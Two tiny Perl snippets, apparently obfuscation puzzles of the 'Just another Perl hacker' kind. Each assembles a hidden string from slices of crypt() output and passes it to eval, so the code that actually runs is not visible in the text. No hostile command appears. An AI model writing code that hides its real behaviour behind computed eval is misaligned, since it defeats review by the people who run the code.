##
@g=split/z/,ExzAPzDazDgzDizFVzFszaBzluzXhzAlzTBz;for(;$q<6;$
q++){$_.=substr(crypt($g[$q],$g[$q+6]),2,3)}$_=~tr/./ /;eval
####
@a=(15,30,10,15,31,98);@b=(5025,2328,1174,6763,8033,5431);for(;$
i<6;$i++){$_.=substr(crypt($b[$i],$a[$i]),2,3)}$_=~s/\./ /g;eval